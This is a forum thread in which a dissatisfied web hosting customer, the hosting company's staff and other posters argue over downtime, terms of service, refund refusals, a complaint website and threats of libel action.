If you can not figure out what TOS means, nor figure out why everyone has them.. maybe you should do some investigation before you continue. Is seems Rameen basically put them in your face before you paid. You didn't read them? That is Rameen's fault? In my world, you are responsible for your own actions. I just don't get it.

I sure hope you read LiquidWeb's TOS I hate to see your "reviews" with them in a few months.

Yep, I expressed those same tears to Rameen and he obviously ignored them.

Our info on our site does not say "TOS". However, I stated that I assumed it was the fine print. At the time that Rameen and I were IM'ing back and forth, I did not know exactly what TOS stood for... and no, I did not look at their site for it at that time. I was more or less going on Rameen's word at that time. I also stated that there was no checkbox to check or any where for me to say that I would accept any such TOS. On our site, the ony way to register is to check the box that you agree... with the transaction between Rameen and myself, there was no such thing.

Regardless though, as I stated, it really wouldn't matter what the TOS was and/or whether I agreed to it or not. The service provided was terrible and we should not have been charged anything for it.

I can assure you, had you had service like this, you would be complaining too. Had you experienced all the problems that we did, you would be wanting your money back too, I doubt seriously that it would matter whether their TOS stated you didn't get any refund.

_______
Why did you never respond to any questions in the ticket? That seems to be abuse on your part. Help was offered, you ended the tickets by yourself by leaving them unanswered.
_______

To me, if a problem needed to be resolved, you would have gave it a better effort.

EDIT:

Hmm, the fine print is normally the terms of service. You admit you knew what it was.. just leave it at that. At first you made it #1 priority to mention that anything about the TOS was mentioned.. Now it was... A review is only good if it is truthful.

WilliamP's got a point. If my services were down unexpectedly for days, I wouldn't charge my client a penny. A credit would be offered or even a refund of the remaining days.

To WilliamP: The site was unnecessary. You lost your money already... why would you spend more bucks in buying a domain name with the intention only to degrade a company?

William has a right to be angry, yes. However, with himself.

From what I see, 4 mins of downtime does not equal "a few days" ...go figure.

WilliamP's got a point. If my services were down unexpectedly for days, I wouldn't charge my client a penny. A credit would be offered or even a refund of the remaining days.

To WilliamP: The site was unnecessary. You lost your money already... why would you spend more bucks in buying a domain name with the intention only to degrade a company?

sTag-Dan, that is the thing. Services were never down for days. I already posted the sources showing 99.95% uptime. He knows very well we have a 99.9% uptime guarantee, in over 65 days, never did he once try to ask for a refund.. We literally had 4 to 5 minutes of downtime.

@WilliamP: You were on the same server as our main web site. The monitoring I showed, is from the same server you are on.

I can assure you that if the site had only been down for 4 minutes, and we'd not had the security problems, we'd still be with them.

If you look at all the tickets, you'll quickly learn it was more than 4 minutes.

And yes, I am angry with myself to an extent, I'll not deny that. I was way too trustworthy of Rameen and should not have been. I should have read the fine print and I should have paid monthly, but it doesn't change the fact that we still got poor performance, poor uptime and poor service.

And again, regardless of the TOS, what I knew and what I didn't, is really irrelevant if you consider what pitiful services we got. Even if I had of known exactly what it was and had I agreed to it 100% percent, even if I had signed a contract... it shouldn't matter, not considering the service we got.

Go through all those tickets and see just how many performance issues we had and how many downtime problems we had. If you can't figure out it's a great amount more than 4 minutes then you are lacking a few too and I'd suspect you work or somehow align with Innohosting. You can't read those tickets and come to any other conclusion but poor performance and service.

And the security breeches caused us a lot of headaches. It carried on for weeks... and once again, our vBulletin forum would not run properly on it. If you read the review completely and you read the tickets completely you will see and understand this clearly... it is all documented very well. If you come to a conclusion other than poor performance and service, you are missing something.

To suggest I should have tried to work out something with them is silly. They cannot control security breeches and even admit to it in the tickets. Their uptime is pitiful as evidenced by the tickets and all of the downtime on our site we had, regardless of network or server uptime... our site was down. Then they wanted more money (not less and not free) for a managed VPS server. Again, read the tickets, it's all there. It just absolutely wouldn't make sense for us to stick around after all the troubles we had. We tried working it out and look what it got us... more downtime and more problems. No thank you... we wanted no more.

Either way, we'll let readers who read the entire review decide for themselves. You have a right to your own opinion. I know what our staff and quite a few of our 4,000 forum members think... and that is please stay as far away from Innohosting as we can. I also know what quite a few people here and in other places have emailed me and PM'd me... they appreciate the review and are thankful for the warnings... not to mention most of them cannot believe we were treated like we were and threatened like we were.


As far as the website, it cost me $5.34 for a year. It will serve its purpose in time. We are working on it now and will have it back up soon enough. It will simply be more detailed and provide much more info that we have gathered evidence for. Not to mention the more that Rameen posts the more evidence he gives us. This ain't over by a long shot... that is a guaranteed promise. It is just beginning.

Have your tissues ran out yet? Every ticket I see that you had a problem does not show a response from you. If you wanted a resolution, why did you leave the tickets unanswered? You are moving to one point to another when the previous fails. That is a good way to advertise your Forums

Don't know about the rest of you but this guy has only one purpose to all of this.. stick with his treats with innohosting and do as he said if he was not refunded. To me, was the main concern in the first place.

Of course, I have a biased opinion from the get go.. but the argument is not very legitimate if you ask me.

Here we go again, WilliamP, no matter where you go you complain and have issues.
Believe the only way you will ever be happy is for someone to give you a fully managed server at their own cost and just let you sit back and do nothing..

Look at our track record no matter what host you go to you have issues.

We did everything we could to make you happy the entire time when no one else was complaining. We even gave you a refund and our rules stated we did not have to.

All hosts have issues from time to time but it seems you have issues all the time.
I myself will like to recommend right now if any hosts out there are looking for issues, problems, complaints, and bash posting then by all means sign this guy up......
You will not be disappointed.

True... we have definitely had a bad run with the three hosting companies we have used... RealWebHost, Hostww and Innohosting. Anyone is welcome to speak with our staff and verify for themselves how much sluggish hosting and how much downtime we have experienced with each one. I have no reason to lie about it. And I have no problems standing up to the persecution.

No doubt I complained when I have staff and members that complain. I only complain when there is something to complain about.

Currently we have a fully managed dedicated server with LiquidWeb and we have had perfect uptime and great support thus far. They actually know what they are doing.

Bottom line... if you provide good hosting, you get a good review. If you provide poor hosting, you get a bad review. It's pretty obvious poor hosting companies don't take to well to poor reviews. That's their own fault.



hbidad, obviously you are biased... and I'm not sure what your point is about the tickets, but it sure isn't making much sense. I respond several times in every ticket. There were no unanswered tickets... you really need to keep your nose out of it since you have no idea what you are talking about. The problems either got resolved eventually or as in the case of the last few, we moved because the problems never got fixed. I'm not sure what bone you have to pick in this anyway unless like I said before, you work for Innohosting.

Again, people can read the review, people can read the tickets and they will figure it out.

William,

I would like to send my deepest condolences for all your mishap with your first three host, and wish you the best with LW.

I believe most of the replies to this thread, including ones from hbidad, is purely based on all the post here and that the only one working for Innohosting is rahmeen himself.

Seriously, you should 'relax' a little. If you are having problems with 3 out of 3 host, then there might be something wrong about your expectation as a customer. As mentioned before, host, like any other business, will have problems every now and then and its how you handle it.

http://www.vbulletin.com/forum/showthread.php?t=199538

Read for yourself

Thanks Roi... I only expected what they intially told me and they could not deliver.

Excellent link Joey... it simply leads to a bad review of your company. Smart move. I can post a few more links to your company with bad reviews too if you'd like. There are several on RWH out there.

It is real simple everyone you ever hosted with, you have had issues and bashed them soon as you had a chance. Now you are with liquidweb, it is only a matter of time until you do the same to them, also did I read correctly that you have a dedicated server with them. You remember correctly you only had shared with us. There is a big difference in shared and dedicated ask anyone here about it.

You must be blind when you read the thread on vbulletin, you tried to start your crap in that thread as you have done here and you got you butt handed to you from a number of our clients that are very happy.
Like I mentioned in that thread we tried everyway we could to help you and some people you can not help. You would be one of those people.

It amazes me how all you seem to do is want to destory companies everytime you get a chance.

You really just need to crawl in a hole and leave everyone alone.

Liquidweb I feel for you and what lies ahead with this guy. Track records show he loves to bash people and their companies at every turn.

Joey

I only give a bad review if I have received bad service Joey... sorry you could not live up to what you promised. You can run off at the mouth all you want, but you and I both know the truth, you could not provide us with adequate service. What you have done for anyone else doesn't matter to me, it's what you did for me that I review. So what do you want me to do? Lie and say we had good service from you, nope, ain't gonna happen buddy, you get what you get, the truth.

What I don't understand is when someone asked for a review and someone else who has had the service provides that review, why does the host jump in and start complaining about it? If you provide bad service, whether it's 1 out of 5 or 1 out of 10 or whatever, it is bad service.

Again, you pointed to a bad review... pretty stupid. Just because you rounded up a few people who host with you to jump in that thread and make a comment, doesn't change the fact that you got a bad review, which in my case you deserved.

I agree with one thing you said, there's a lot of difference between shared hosting and dedicated. BIG difference. To quote someone is who knows: "If your host does not own the data center, your site is not safe IMO."

It's fairly obvious I couldn't get the service I needed from a shared hosting company, therefore we went with a dedicated server. However, it does not change the fact that we got poor performance and service from three different hosting companies. And just because we just happen to have three bad experiences doesn't negate the fact we indeed had those three bad experiences.

Bottom line, I am simply reporting the truth, the type of performance and service we had, live with it!

First, let me say that I'm a client of Innohosting as well and here's my experience with them:

My website (and clients' websites) was having the same downtime issues as well. It was nowhere near dayslike you said you experienced, William (more like minutes), but it was definitely inconvenient. Most of our downtime was due to the htaccess issue too.

Chris and Rameen did an amazing job of responding to my tickets and restoring my sites right away (talking within 30 min).

Other than that short period, things have been great. I'm super happy with the uptime and the very fast service.

William, I think you just have to expect these things to happen. But if things were down as long as you say they were, then I don't blame you for leaving. I hope things work out for you on your new host, but you have to expect downtime. Servers go down, data centers can go awry and people are constantly trying to hack into servers/websites. Good luck!

As for anyone else thinking about Innohosting, I'd definitely recommend them. In fact, I plan on writing a review on them in the near future (stay tuned) =)

Over all, our downtime with Innohosting was right at 30 hours, for one reason or another. If you read all the tickets you'll notice some of the downtime was a result of IP address change that they misinformed me on and had problems with. This would in no way affect you. I'm not sure the Ioncube situation would affect you either.

.htaccess was not part of the downtime I complained about. It simply caused us a lot of headaches and if you read the tickets, they could not get a fix for it. The fix they attempted didn't work because we had another breech after they did what they did... on top of the fact the attempted fix was affecting our forum performance. I could not even save some changes I made in our Admin CP because of the attempted fix they were using. It rendered our forum pretty much useless and it was driving me, our staff and many of our members nuts... on top of we were getting quite a few comlaints. Login issues, sluggish responses, certain popular features hanging and unable to save files... it was frustrating... and if you read the ticket they simply say they can't see where it would cause any problems, yet the techs at vBulletin clearly state "php hardening" and "mod_security" will cause these problems and vBulletin will not run properly. Well, we move and twala... no more issues... just that simple.

I truly hope no one else has any issues with them... this would be great! I am glad that you are having positive results and hope you continue to have positive results. I certainly don't wish the experience we had on anyone. I'm sure there will be good reviews on most all of these hosting companies from some of their clients, but those that have problems don't need to be intimidated and insulted to a point that they don't or won't post their poor experiences with them.

William all you do is give out bad reviews. When you signup with a host everything is great until you have 10 seconds of downtime and then you do your best to pound that host. All those clients in the thread at vb, gave their honest thoughts on what they had received something I do not believe you know how to do.
Like I said I fully expect to see you back here again bashing liquidweb for bad service the first time they make a mistake or have a network issue of any sort. Tell will tell, we will see won't we?

Joey

OK, so maybe this is not my place, but this is indeed an intersting back and forth.

Points to consider in my opinion.

TOS (terms of Service) are seldom read, nor fully understood by the recipient. This is not the fault of the company. I feel sure that any uncertainties would have been clarified, should the question have been asked.

Prorata refunds on extended contracts? I don't think so, why would it be that discounts are generally offered on these. If a refund was offered for any month or part month not used, you have a two fold scenario. Firstly, EVERYBODY would sign up to these simply to get the discounted rate, without concern if they wanted to cancel further down the line, for any reason. (irrelavant that and ADDITIONAL $50.00 discount was honoured) and secondly, do you then consider the same scenario to a month to month contract.

EXAMPLE: User purchases a package for $10 per month, on month 5 they decide they no longer want service and cancel two weeks 3 days and 6 hours into that month - Do they feel its right, feasable or proper to INSIST on a rfund for the remainder of that month?

Of course they dont! thats why terms and conditions, or terms or service, or User acceptable policies are in place. So that there is a CLEAR definition of contract.

Next point. If you were in a contract with any service, wether it be webhosting, telephone service, cable or satelite television. If you sign up online, you automatically accept ALL terms and conditions that are within that agreement, if you do not understand then, or do not agree to them. Simple Do not sign up!

The opotunity to ask as many pre-sales questions as required is ALWAYS avalilable - If you dont have that option, I would, like many others recommend giving that organisation a very wide birth. Would somebody go into a car showroom and just say, where do I sign to drive away that brand new SUV? Seriously, you would ask all the questions you can, get a feel for the delaership your looking to purchase from, and no what legal commotments and obligations are involved in signing that agreement. Is this industry any different? Absolutely not. You (the customer) must have the logic and common sense to find out everything thats involved when parting with your money!

The mention was made of threats. The definition of threat seems to be seriously clouded here by the reality of confusion, frustration and anger.

The service was not 100% - that is not in dispute. How short of 100% is, and only evidence can clarify that. From the eveidence thats been put forward I feel its a safe assuption that is was within the 99.9% service statement that Innohosting, like a lot of webhosts, offer as a realistic guideline is upheld.

There are many posts and contridictions, whether caused by frustration and confusion, or simply a deliberate attempt to offer bad publicity, are no way for a mature person who must admit, even only to themselves, that they are hold all or part of the blame.

In short the service was abused, the terms were not understood by William. He should feel at the least embarrased to have made such a grave error.


The other side - From Williams point. I can understand a level of frustration. The service was not what he was hoping for. But then, and speaking from persoanl experience, I have had some issues with several webhosts, some resolved, some not. But one thing that I did learn very fast. DONT SIGN UP for anything other than month to month, until you are taotally satisfied with service. Worse case scenrio - you lose part month! Best case. You establish a personal feel for the services your paying for.

Maybe with a little more patience and integrity, the situation could have been seen with a different outcome. As being in business for a number of years myself, I will happily work with people even if they are not happy, to find a resolution by refund or other means, but stop when it becomes something more than business. When it becomes a personal attack as this has become, I would use the full force of terms and conditions (otherwise known as a LEGALLY BINDING contract) to resolve the issue effectively and in short. This said, I rarely get to this situation, as I usually find that working with an 'disgruntled customer' by offering them numerous alternatives, either resolves the issue effectively and we agree that we have different ideas about customer service, or as in most cases, I find that they actually stay as a customer, as they feel I have gone out my way to help. This was attempted, from what I can see From Rameen !!

I feel that an individual staying up half the day and night to go over and above what is normally offered, is a very good customer gesture.

Thats my feelings and point of view, for anything it might be worth. This said, this will eventually become just another 2 year old post that nobody reads or cares about. My suggestion to a solution. William you have your options - But the best thing you can do, before you make your credibilty any shakier is quit walk away and move on. Innohosting - You have lost a customer. But as you rightly pointed out, you have probably got numerous other customers because of brand awareness directly attributed to this posting. I can make an example of this, as this was the very thread that lead me to contact Innohosting with pre-sales inquiries.

For the record I am NOT a Innohost customer - although my feelings of dealing with Rameen has been nothing short of spectacular, in my pre sales inquiries of recent.

HostRevolutions!

As an after thought - Is there really such thing as good or bad publicity? Is any publicity exactly that, drawing attention to the company or individual involved!

So you just joined today and have all this insight slighted towards Innohosting... hmmm?

A few things you obviously didn't read too close or just plain missed.

30 hours of downtime out of 1500 is more like 98%... no where close to 99.9%.
I was as patient as I could be... it was not getting any better. Patience has its end.

Integrity is not the issue on my part... I have been truthful and provided the evidence to back up the issues that have been brought to light.

If I were a hosting company and had a TOS similar to Innohosting and had a client that had been through what we went through... I'd gladly refund that client the full amount. Obviously not everyone is the same. Some have higher ethical standards than others... some are more reputable than others.... yes, we live and learn.


If I am a person looking for a host and read this review I'm going to see there were some serious issues with Innohosting and run. No doubt about it.


You have to ask, and I think most lookers would, why would I possibly go to all the trouble to simply make this up. We had serious issues that were dealt with poorly... inompetency at it's best. These were not make believe issues, but very very serious issues. This was not some couple of minutes of downtime or some piddly little problem that got fixed promptly.... it was very serious, site crippling problems that they handled very poorly and ultimately could not resolve.

This company ultimately could not and did not provide us security, reliability, or service worth any value.

Again, I believe most people can figure it out... and I believe if you had been in my shoes your attitude would change drastically.

As previously stated, I cannot begin to tell you the number of emails and PM's that I have received thanking me for the website, http://www.innohosting.info ... and for this review. Some just looking, some on the hedge between one or another hosting company and even a few of their clients.

We'll see what ultimately happens. I'm not going anywhere... been around since Internet started and my credibility is fine among those who know me. Anyone can visit our forums and quickly determine I am a very honest and reputable person. I am simply sharing a very bad experience in hopes of helping some others. If nothing else maybe it will cause Innohosting to tighten up and do better just to prove they can.

Hi William :)

Point one - and I will try and keep this as simple as I can - I joined Yesterday not today;) however that doesnt mean I was born yesterday - so we will forgive your patronising opening :D

Your talking about integrity? Did I at any stage call you a liar or a fraud? I believe what my point was, that you were probably caught up in a frustrating and angry situation and the disagreement esculated out of control, thus things were dealt with in a manner that could have been dealt with differently with a clearer head.

I believe the facts still remain, you have shown no eveidence other than your word of such an outage - and even if you was able to produce such evidence, it would not alter the issue you have raised. Partial refund, Full refund or No refund.

You were in a contract with an organisation, which through the fault of nobody but yourself, and for whatever reasons you care to use to justify it, you agreed to a "Terms of Service" which later came back to be your downfall, by not reading them correctly, and taking on service. This in any field, as mentioned in my previous post, is automatic acceptance of those terms.

As for my insight into Innohosting - I took the trouble to spend several hours submitting numerous pre sales inquiries, along with researching feedback and suchlike on them, as I have with several other hosts that I have an interest in offering my business too. Thats called common sense :eek:

I have read, and reread all terms surrounding any contract I enter into, not only in case things go wrong, as they have in this instance for you, but additionally to find out what extra conditions are applicable to my personal circumstances.

I run an adult website, so is a logical conclusion that I would need to find out oif the webhost I choose, allows such content. Guess what two simply ways to find out. One is ASK - the other is to read through TOS / AUP's

If I am still unsure, then I will elaborate my point until it is perfectly clear, and if acceptable, that I have it in writting. If I am uncertain about it - even 5% - I go elsewhere.

Why?? Because I like to know what legal contract I am getting into.

I had a very similar situation to yours about 14 months ago. I cancelled, I had 4 months left on my service. Guess what - I got half back - Not because I demanded it, Not because I threatened the company involved with posting hate posts or even going to the, how can I put this, I know, Laughable website just to post bad things about them. Do you not realise, besides opening yourself up to "possible" liable and defamatory claims, you are actually creating more promotion for Innohost....but because I offered them a friendly peacful thank you for hosting me - It was regrettable that they were unable to meet my requirments. If I had not got my refund, I would simply have said, ITS the terms and conditions - My loss :)

So as for if I had been in your shoes - the simply answer there is I wouldnt have been in your shoes - I would have covered my rear end, as I always do in business.

If things happen, as they sometimes do, especially with with eCommerce business, its purely down to one thing. Who has the brains and who has the megaphone.

99 times out of 100 the one who sits back and thinks things through rationally is normally the one who comes out smiling.

This said if you feel you are the one thats come out smiling, then good luck to you. There will be no need to continue your one man cruisade to deminish the name of an established and trusted company. Are we understanding the simplicity of this formula now!

I must say, as I did before, I have yet to establish a definitive answer on my decision to either go with, or dismantle comminications with InnoHosting, so my loyalty is with nobody. Its merely looking back on a post thats smeared with no less garbage than you would expect on a politicians question time at elections.

Its actually quite commical that despite the simple logic, that this situation will only get resolved with maturaty and both walking away, you still feel you have something to defend. Even at the cost of verbally attacking little ole lonsome me who has by your estimentation only been online since yesterday....lol...lol


Happy Christmas in any case :cool:

HostRevolutions

It is pretty funny to an extent as well as sad, but everyone will have an opinion, right?

I haven't estimated your time online.... I was making a point that had nothing to do with you. None the less, you make a lot of assumptions , hardly see the point here and obviously you are missing a lot, so, thanks for your input and you have a happy x-mas as well.

Yes I agree it is sad - its sad that as an adult you are unable to simply accept that you made a mistake, live with it and move on :confused:

Ahh...Ok forgive me for seeming a little slow here..

I haven't estimated your time online.... I was making a point that had nothing to do with you.

What exactly is meant by:

So you just joined today and have all this insight slighted towards Innohosting... hmmm?

This suggests to me as an opening line to your post that you felt I had no insight to this topic or related issues with it

Break down the word 'assume' (It makes a "a**" of "u" or "me" - Too true - maybe assumption was your intitial downfall in this how situation, you assumed that you would received a partial or full credit for your unused time. You will find VERY few hosts will allow this after 2 months, on a paid yearly contract. You assumed that everybody would either not reply to this post or agree with your views. Sorry life really aint fair sometimes is it. You assumed that you could in someway get some kind of quality impact from your one man cruisade - well only you know the answer to that, and are more than welcomed to feel satisfied if spending more money has NOT achieved your initial refunded fees.

If its nothing to do with me, which is an alternative way to say, anybody who reads these forums, why exactly did you post it here??

Am I correct in thinking that its only the business of an individual who agrees with you?

I believe the logical answer to this, is simply. If you make a post in a public forum it then becomes public business - If you remeber, I opened my post with

"OK, so maybe this is not my place, but this is indeed an intersting back and forth."

I was happy to leave my opinions there for an open balanced point of view. I was never conluding that I am right, you are wrong - simply an alternative angle - that was until your personal attack on my comments. That said I am happy to debate this or any other issue. It is, as I said rather amusing that you seem to have such a blinkered view of the whole picture.

The nutshell is, you did not feel you had received a fair service - Your absolute right to feel that - you didnt get the refund you asked/demanded/threatened for - Innohosts absolute right not too (The TOS - Which you neglegted to read and/or fully understand before you entered into a legally binding contract.)

You way of dealing with it, spending MORE money and resources attempting to put customers off. I would love to see the details (purely because its fascinating) how many customers you feel you have sucessfully put off of going to Innohosting, in realtion to those who has simply let you know they have acknowledged your views.

Likewise I see plenty of positive feedback on WHT and other boards, for them.

So my question still remains, do you really and truely feel you are having an adverse effect with this..lol..Let me put that in perspective. There are at this point nearly 3.8 million posts on this forum.

What made me pick this forum to introduce myself to the community - The hashed up way, you presented your case. It has done one simply thing for me today. It has helped me decide to host with Innohosting :)

So I am sure I speak for many, likely more than you claim to have put off - I have, and can see, the wider picture. I have checked out the points I had concerns over. I have received professional and courteous responses from Innohosting staff.

I do NOT expect that I can go years of hosting with them, without runing into some issue or other, but I will work on a finding a mutually resolvable solution should that happen. If it doesnt I will simply look for services elswhere. No biggy, it happens every minute of every day.

I would recommend, and wether you take the advice or not, quit whining about it :) your story is told, your opinions are heard, and now, mine are too.

Failing that, rather than earning a living that you say was so badly damaged by having a hosting issue, why not post your views on every post that involves Innohosting - Answer ITS SIMPLY NOT WORTH THE EFFORT TO CREATE MORE AWARENESS FOR THEM!!

Case rested closed and signing out -once again thanks for helping me find a quality host.:banana:

:santa2: Happy Holidays to everybody who reads this :santa2:

Hostrevolutions.


Sorry final points that I noticed:

Currently we have a fully managed dedicated server with LiquidWeb and we have had perfect uptime and great support thus far. They actually know what they are doing.

Now where did I hear something very similar - Ah yes thats right -

Service began on 9/23/06 and things move along fairly well at 100% uptime for the first week.

Also lets look at lies or maybe as I suggested previously -

Your opening argument:
Rameen and I are speaking via instant messaging. He completes all my stuff for me and gives me the link to pay. He did mention the TOS and I think okay... typical stuff that nobody ever reads (who really reads the fine print?).... seems like a nice and honest guy

Yet you claim to have at NO POINT every recieved or agreed to this TOS and in fact Didnt even know what a TOS was !

You talk about "He seems a nice honest guy" Its business man - wake up - If your in the furniture business as I comclude is the case, would you let a complete stranger off paying an outstanding invoice and release goods - even if its against your companies policies, based on "Well he seems honest enough to pay when he can afford it" Again wake up man - ITS BUSINESS!!!

OOPS! Did I strike a nerve?

Is Rameen a customer of yours? Are you sure you don't work for Innohosting? You sure seem to be taking up for him in a big way spending an awful lot of time here in this thread.

Again, you are seriously ignoring the whole story and trying to twist things around with several assumptions while ignoring the facts that are right in front of you. You just don't get it.

I think folks will see right past your bologna... whoever you are.

William. I'd suggest using the money you get from your forum to purchase a VPS or small dedicated server. It is more expensive but is of a higher class than shared hosting.

I definitely agree with you there... we are now on a dedicated server and it has been wonderful thus far. The support has been awesome as well, what little we have needed to optimize a few things.

Yes William you did strike a nerve, but its cool, I have nerves of steel - Did you ever watch Batfink? :stickout:

As for my credentials, I do not work for, nor at this point have any reason to support Rameen from Innohosting, only to point out the obvious - You have made some seriously bad calls, yit has cost you, and you want to blame everybody except the person you should be blaming, yourself!

I will be, as I said taking up hosting with them, because in my opinion, they have shown great support, and dedication to answering all my pre sales questions

Do I give them the thumbs up, well of course I do, I will be selling THEIR products!
Do I have confidence? Most definately - I wouldnt have put the time and effort into checking things out with them if I hadnt.

Do I want thanks and a pat on the back from Rameen for supporting his views that the one who has lost in this battle of wills is you, I really do not care. I have made sevaeral posts here, because you simply could not accept that others have a different and less blinkered outlook to yourself, and felt in nessaccery to try and begin, like you did with Innohosting a battle you simply cannot win.

What are you going to do, start another I hate Hostrevolutions campaign?
I hate *****.com (other website) campaign?

Please do, I will be happy to provide you with the links in PM if you so desire. I could do with some free publicity :P

Shall I beg you - OK i dont normally, but please William, can you hate me please please please.


I want free publicity - NO, well ok, look back now and see how much publicity you have generated for Innohosting.

Think somebody has only got to "search innohosting, and this flacid argument, with holes, flaws and inconsistences will generate more brand awareness for Innohost. See above post, PROOF IS IN THE PUDDING I think the saying is?

You have on numerous coccasions, contridicted your own event of happenings, so as such, I really dont see any bigger picture or exactly, what you claim it is that I am missing. You have made mistakes, and like any weak minded person, you choose to verbally attack anybody who points this out to you. Despite the obvious fact it is sitting, staring you in the face...


Your opening argument:

Quote:
Originally Posted by WilliamP
Rameen and I are speaking via instant messaging. He completes all my stuff for me and gives me the link to pay. He did mention the TOS and I think okay... typical stuff that nobody ever reads (who really reads the fine print?).... seems like a nice and honest guy


Yet you claim to have at NO POINT every recieved or agreed to this TOS and in fact Didnt even know what a TOS was !


Please do explain this slight error in your events. It is purely this that has led to you not being aware that on a legally binding contract of one year, you are oblidged to fullfil that contract. If however your able to show that it mentioned anywhere in the TOS (that you claim you have no knowledge of, let alone know what a TOS is) that you are entitled to a partial or full refund in the event that you are not satisfied with the product or service you are receiving, after the expiry of any money back guarentee period, then my decion would be that I would defend you to the hilt. Heck I would even give you the details of some good attorneys that will fight your corner. But as it stands, law is law, a contract is a contract (whether you understood the full implications or not) and business is business.

Customer service finishes being a moral obligation after you start trashing the name of a ruputable company. Maybe, just maybe, you would have scored more browny points, without making such idiotic threats to trash the Innohosting name if you didnt get what you DEMANDED!!


Think Logically, I am going to be soon selling my own webhosting, why would I try to deliberately promote a company that can take my potential business. Simple I Dont, I want to defend my own right to speak freely.

If you would like those details for your next hate campaign, please let me know, I am serious, I would love you to promote me. After all, as a Public Relations Official for 4 years with a multi billion dollar organisation, I would love to challenge the order of Liable in court :)

You clearly havent addressed the points I made in my last post, especially, and in particular:

You talk about "He seems a nice honest guy" Its business man - wake up - If your in the furniture business as I comclude is the case, would you let a complete stranger off paying an outstanding invoice and release goods - even if its against your companies policies, based on "Well he seems honest enough to pay when he can afford it" Again wake up man - ITS BUSINESS!!!

So it really does seem pointless continuing this, unless of course you would like my contact details to begin your next I hate .com cruisade!

OK Guys, is it me, or does this sound a little over the top now!!

Thanks again for your time WilliamP - I wish you all the luck in the world with your business, it seems you need it :)

HostRevolutions over and out!

lol... I think you need a life.... :crazy:

If I were a betting man, I'd wager Rameen is one of your adult site customers, you either work for Innohosting, or maybe... hmmm... just maybe... well we'll leave that to everyone's imagination. It's obvious you guys are really close.

Oh, did I mention that I think most folks will see right through your bologna? Yeah... I think I did.

Btw, did you read the review?

If the customer is unhappy as evidened by his support tickets, just give him a refund for the time not used. What's the problem with doing that? Why drag it out and fight with him? Its pointless to argue just to prove you're right.
Now look at the result http://www.innohosting.info

If I were a betting man

Well William what ever you feel are the rights or wrongs in all of this I know one thing for sure if I were a betting man, heck it wouldn't be a bet but more of a certainty, if you had slandered me the way you have Innohosting, what with the that web site of yours and all, you would be finding your self being sued.

Seriously though, take it easy, being sued would not be a fun thing no mater what you think the rights or wrongs are in all of this.

First of all, reviewing a hosting company and telling the truth with supported evidence is not slander. I'd say we have a better case against them than they do us, especially with the evidence and witnesses we have.

Secondly... try Googling “walmart sucks,” “kroger sucks,” “bill oreilly sucks,” “clear channel sucks,” “peta sucks,” “greenpeace sucks,” new york yankees suck” – you name it. You’d have a hard time finding people and companies more “lawyered up” than these are. You can also find plenty of “aclu sucks” sites, and no one’s more “lawyered up” than they are!

Thirdly... you gotta have something to go after. If they wanna waste their money for nothing, let them have at it. It would be a lot cheaper on them to refund the money.

Cool one William - Lets go from topical debate to personal insults, that should win your case for you :)

If I were a betting man, id make sure I read the terms of the bet.
Safe to say that maybe you shouldnt bet, until your mature enough to handle the losing - You know terms of service.

If people care to see through anything, indeed that is entirely their choice. Remember my comments about feedom of speech. Guess your not aware of that consituational right. As you seem to see it as an oportunity to merely throw childish insults around.

How is it obvious that Rameen and I are close. For goodness sake we live on opposite sides of the planet...lol

I have been in communications with BOTH Rameen and Chris, who have both offered a great deal of professionalism regarding my webhosting needs over the last several days. If you see more into that than the basic thruth, then hey cool, we know where your minds at, right?

I have a life. I also have a very successful website, one which is based on maturity and openmindedness, lets hope you dont bump into that website on your travels - may be a little bit clostrophbic for you with all those customers around.

If you really are of the opinion that you feel I am in some way associated with anybody at Innohost, then no problem, believe it. Its not the case, other than I the only reason I am even bothering to entertain your tiny mind is that you have stooped to the level you claimed you were mature enough to rise above, to throw personal insults about, like a child because I happened to say something you disagree with.

So to conclude, unless obviously anybody else has an input to this "debate", I will finish with the thought that you have simply clarified your integrity, your honesty, and above all else, your dignity as being at the very least, shaded gray.

I look foward to any input from any other person - who maybe can raise a debate in the mature fashion it is intended. Sorry if I upset you WilliamP and if you want those website details to smear more hate campaigns, I am serious, please do let me know.

Fondest Regards to one and all

HostRevolutions

First of all, reviewing a hosting company and telling the truth with supported evidence is not slander. I'd say we have a better case against them than they do us, especially with the evidence and witnesses we have.

Really William, the truth has by my post and your refusal to acknowledge the point several times, proved your integirity is, as I said, at the very least gray.


Originally Posted by HostRevolutions
Your opening argument:

Quote:
Originally Posted by WilliamP
Rameen and I are speaking via instant messaging. He completes all my stuff for me and gives me the link to pay. He did mention the TOS and I think okay... typical stuff that nobody ever reads (who really reads the fine print?).... seems like a nice and honest guy


Yet you claim to have at NO POINT every recieved or agreed to this TOS and in fact Didnt even know what a TOS was !




Secondly, and this is simple business practice, companies the size of Walmart have an allocated budget for fighting slander and liable. They are very cautious about which operations to target for a sucessful result. And in addition watch and minitor closely situations such as hate websites, (which you will also probably find is against your current terms and conditions) to monitor the effectiveness of it on the projected figures. As I say, along with others, publicity is publicity, and can often have a totally adverse affect to its intention.






However, that is opening up a whole different debate, but rest assured, I worked in a corperation that dealt with these issues day in day out. Otherwise I would not be on bended knees begging you to start one up on my websites. I really could do with the publicity and funding from a lawsuit that would begin instantaniously.






As for wether your likely to leave yourself open for liable, well yes you are, you have open sourced incorreect information that may be of detriment to the credibilty of an internet business. NOTE NOT A STORE - Whole different situation.


You seem to think you have a case against them, IM me and I will give you the details of an attorney that deals with LARGE corperation lawsuits based in NY. Ask him if you think you stand any kind of chance...You may be lucky to have him hear the end of your sentence, before he stats laughing..




I think you need to check the definitions of liable and slander...and dont open a can of worms with empty usless threats before your absolutely sure your prepared to potentially lose everything if your wrong!! Yes I mean everything, I have seen cases - not to quote - when a couple lost there entire estate including a $750k home though the very same ill decieted claim to knowing nothing and hoping that they did. Ithink you need to read the fine print too - fully understand the rules about opening this kind of threat to the public.



It isnt rocket science. You have by YOUR efforts lost your fees, have no legal claim to them, and the best you can do is a hate smear campaign, you simply do not understand, bad publicity travels much faster than good. From that, the only thing people remember is - Oh yes it was that company Innohosting...lets go check em out.




FREE TRAFFIC - POTENTIAL CUSTOMER.




Per SydneyJen -





If the customer is unhappy as evidened by his support tickets






Intersting input, which in certain circumstances, would be a solution. However as William has shown that his version of events is very unstable, thus seeming to me like sour grapes and personal attacks.




The end result, the posts and hate campaign had begun, ask yourself, would you give a refund to a man who lies and smears your good name?





If the answer is yes, then thank you for the vote, if its not, it opens up a whole different playing field :)





